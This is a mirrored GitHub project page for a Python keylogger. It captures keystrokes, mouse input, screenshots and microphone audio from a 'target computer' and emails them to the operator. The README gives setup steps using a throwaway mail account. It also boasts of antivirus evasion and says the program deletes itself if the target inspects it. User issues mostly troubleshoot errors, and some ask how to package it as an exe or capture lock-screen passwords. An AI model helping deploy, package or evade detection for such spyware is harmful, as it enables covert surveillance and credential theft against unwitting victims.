Giter Site home page Giter Site logo

aydinnyunus / keylogger Goto Github PK

View Code? Open in Web Editor NEW
2.0K 91.0 438.0 10.1 MB

Get Keyboard,Mouse,ScreenShot,Microphone Inputs from Target Computer and Send to your Mail.

License: Apache License 2.0

Python 100.00%
keylogger keylogging keylogger-screenshot keylog keylogs keylogger-analysis keyloger hacking hacking-tool hacking-tools

keylogger's People

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

keylogger's Issues

How to convert it from .py to .exe

Is it possible to convert this to an executable? I've already tried it and when clicking on the executable, the command window opens and closes immediately and no email is sent to my inbox.

Connection unexpectedly closed

Thanks for the great work..
but I get this error.. this is the last line of it:

raise SMTPServerDisconnected("Connection unexpectedly closed")
smtplib.SMTPServerDisconnected: Connection unexpectedly closed

how can I solve this issue ?

i tried to send this to my self but it failed

Whn i run the code it send me blank emails to mailtrap. Sender and reciever are blanks on mailtrap. The first email that arrives on mailtrap says keylogger started....
After that blank emails every minute
I tried to put emails on sender and reciever but still didnt work out.
image
What i did wrong here?

NameError: name 'keyboard' is not defined

Why am i having this message?

Traceback (most recent call last):
File "/home/kali/Keylogger/keylogger.py", line 9, in
import pyscreenshot
File "/home/kali/.local/lib/python3.9/site-packages/pyscreenshot/init.py", line 5, in
from pyscreenshot.loader import Loader, FailedBackendError
File "/home/kali/.local/lib/python3.9/site-packages/pyscreenshot/loader.py", line 2, in
from pyscreenshot import plugins
File "/home/kali/.local/lib/python3.9/site-packages/pyscreenshot/plugins/init.py", line 5, in
from pyscreenshot.plugins import wxscreen, gtkpixbuf, qt4grabwindow, qt5grabwindow,
File "/home/kali/.local/lib/python3.9/site-packages/pyscreenshot/plugins/scrot.py", line 2, in
from easyprocess import extract_version
ImportError: cannot import name 'extract_version' from 'easyprocess' (/home/kali/.local/lib/python3.9/site-packages/easyprocess/init.py)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/home/kali/Keylogger/keylogger.py", line 143, in
keylogger.run()
File "/home/kali/Keylogger/keylogger.py", line 115, in run
keyboard_listener = keyboard.Listener(on_press=self.save_data)
NameError: name 'keyboard' is not defined

Adding a more securing feature

Since the objective is to send emails in a more secure way, keylogger.py is using TLS to send an email but since SL/TLS only encrypt email on its way between the sender’s email client and his/her email server. A message is then decrypted and it travels all the way to the recipient’s inbox without any encryption, being vulnerable to attacks.
I suggest using an end-to-end encryption like PGB to strengthen the security of the process.

License

Thank you for the great work @aydinnyunus. Your repo doesn't include a license and given copyright rules standard copyright applies which means no one can build on this without your explicit permission. I'm working on a small project that I'm publishing under Apache 2.0 and I'd love to use your code but I can't given the fact there's no license. Please add a License so everyone can build on this amazing script.

I'm unable to run the program.

After installing the required dependencies in the requirments.txt files. I'm unable to run the keylogger.py file

I always get an error stating:

Traceback (most recent call last):
  File "/home/arewageek/dev/py/loggers/Keylogger/keylogger.py", line 143, in <module>
    keylogger.run()
  File "/home/arewageek/dev/py/loggers/Keylogger/keylogger.py", line 115, in run
    keyboard_listener = keyboard.Listener(on_press=self.save_data)
NameError: name 'keyboard' is not defined

image

compil fail

Traceback (most recent call last):
File "C:\wamp64\www\labo\Keylogger\keylogger.py", line 129, in
keylogger.run()
File "C:\wamp64\www\labo\Keylogger\keylogger.py", line 101, in run
keyboard_listener = keyboard.Listener(on_press=self.save_data)
NameError: name 'keyboard' is not defined

Install requirments.txt problem

I'm facing with problem as bellow during the installation of requirments.txt :

└─# pip install -r requirements.txt
Collecting pynput==1.7.3
Using cached pynput-1.7.3-py2.py3-none-any.whl (99 kB)
Collecting pyscreenshot==0.5.1
Using cached pyscreenshot-0.5.1.tar.gz (16 kB)
Preparing metadata (setup.py) ... error
error: subprocess-exited-with-error

× python setup.py egg_info did not run successfully.
│ exit code: 1
╰─> [3 lines of output]
/home/examer/Desktop/Keylogger/venv/lib/python3.10/site-packages/setuptools/_distutils/dist.py:264: UserWarning: Unknown distribution option: 'use_2to3_exclude_fixers'
warnings.warn(msg)
error in pyscreenshot setup command: use_2to3 is invalid.
[end of output]

note: This error originates from a subprocess, and is likely not a problem with pip.
error: metadata-generation-failed

× Encountered error while generating package metadata.
╰─> See above for output.

note: This is an issue with the package mentioned above, not pip.
hint: See above for details.

Having essentially this same issue with SMTP Server

Wanted to make a separate "thread" for this issue instead of crowding the others:

Instance 1 from me:

Traceback (most recent call last):
File "C:\Keylogger-master\keylogger.py", line 143, in
keylogger.run()
File "C:\Keylogger-master\keylogger.py", line 117, in run
self.report()
File "C:\Keylogger-master\keylogger.py", line 80, in report
self.send_mail(self.email, self.password, "\n\n" + self.log)
File "C:\Keylogger-master\keylogger.py", line 76, in send_mail
server.login(email, password)
File "C:\Users\X\AppData\Local\Programs\Python\Python310\lib\smtplib.py", line 739, in login
(code, resp) = self.auth(
File "C:\Users\X\AppData\Local\Programs\Python\Python310\lib\smtplib.py", line 642, in auth
(code, resp) = self.docmd("AUTH", mechanism + " " + response)
File "C:\Users\X\AppData\Local\Programs\Python\Python310\lib\smtplib.py", line 432, in docmd
return self.getreply()
File "C:\Users\X\AppData\Local\Programs\Python\Python310\lib\smtplib.py", line 405, in getreply
raise SMTPServerDisconnected("Connection unexpectedly closed")
smtplib.SMTPServerDisconnected: Connection unexpectedly closed

Instance 2 from @Boba2601:

Traceback (most recent call last):
File "/root/Keylogger/keylogger.py", line 124, in
keylogger.run()
File "/root/Keylogger/keylogger.py", line 94, in run
self.report()
File "/root/Keylogger/keylogger.py", line 57, in report
self.send_mail(self.email, self.password, "\n\n" + self.log)
File "/root/Keylogger/keylogger.py", line 51, in send_mail
server.starttls()
File "/usr/lib/python3.9/smtplib.py", line 753, in starttls
self.ehlo_or_helo_if_needed()
File "/usr/lib/python3.9/smtplib.py", line 605, in ehlo_or_helo_if_needed
(code, resp) = self.helo()
File "/usr/lib/python3.9/smtplib.py", line 434, in helo
(code, msg) = self.getreply()
File "/usr/lib/python3.9/smtplib.py", line 398, in getreply
raise SMTPServerDisconnected("Connection unexpectedly closed")
smtplib.SMTPServerDisconnected: Connection unexpectedly closed

Originally posted by @Boba2601 in #7 (comment)

NO access

If you make a video on usage it would be helpful

I can't install the required packages

when I type on my terminal:
pip install logging(for example)

it say: ERROR: Could not find a version that satisfies the requirement logging (from versions: 0.4.9.6)
ERROR: No matching distribution found for logging

like the package doesn't exist

and it's the same with 4~5 packages required for the script

Confused

Hi, I am a little confused about where to change the password and email.
Is it at the bottom of the whole code where it is written: YourMail and YourPassword or in the middle.

n

bbbbb

Nice Malaware

1
Make sure next time you do something legit not copy paste the virus scan from other projects

Connection unexpectedly closed

i am getting this error when running keylogger.py file.the error is

raise SMTPServerDisconnected("Connection unexpectedly closed")
smtplib.SMTPServerDisconnected: Connection unexpectedly closed

please help me out

Unable to Set the SMTP Username & Password

I'm getting SMTP server disconnected, can somebody help me here, where exactly do I need to update the SMTP username & password.

File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.11_3.11.2032.0_x64__qbz5n2kfra8p0\Lib\smtplib.py", line 405, in getreply
raise SMTPServerDisconnected("Connection unexpectedly closed")
smtplib.SMTPServerDisconnected: Connection unexpectedly closed

Y

Inputs To Mail.

Get Keyboard,Mouse,ScreenShot,Microphone Inputs and Send to your Mail.
Purpose of the project is testing the security of information systems

INSTALLATION

You don't need to do anything for installation just run the script

github-small

USAGE

Create an account on "https://mailtrap.io/" using a temp mail.

github-small

Set your own SMTP USERNAME and SMTP PASSWORD on "keylogger.py".

pip install -r requirements.txt

python3 keylogger.py

Every 10 seconds,You Get the Data from the Target Computer

If Target finds the Code and Open the File for Want to Learn your MAIL and Password The Program DELETE itself.

ANTIVIRUS TEST

github-small

github-small

However, if you've made some money using my tools or just want to encourage me to continue creating stuff, please consider giving back on
BTC Wallet : 1NqDy1VdF5wkvxBcojbADWexPhPzza6LGF my efforts and help it grow by buying me coffee - but only if you're definitely able to! 😊🎉


Contact

Another Projects :

WHATSAPP BOT : https://github.com/aydinnyunus/WhatsappBOT

MACHINE LEARNING : https://github.com/aydinnyunus/Machine-Learning

FACE RECOGNITION SECURITY : https://github.com/aydinnyunus/FaceRecognitionSecurity

Remove

How to remove or disable keylogger?

Open script on another computer

My question is how to run the script on another virtual machine in which, for example, there is no python installed? Tried to compile to exe (windows) via PyInstaller library didn't work

Lock screen keylogging

Is there a way that the keylogger would log all of the input that is happening on the lock screen

For example:

I start the keylogger
I lock the PC with Win + L (goes to lock screen)
User types in password
keylogger sends it to email

"NameError: name 'keyboard' is not defined" 😬. what to do?

Getting an Error like this:

Traceback (most recent call last):
  File "/workspace/Keylogger/keylogger.py", line 144, in <module>
    keylogger.run()
  File "/workspace/Keylogger/keylogger.py", line 116, in run
    keyboard_listener = keyboard.Listener(on_press=self.save_data)
NameError: name 'keyboard' is not defined

What to do?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.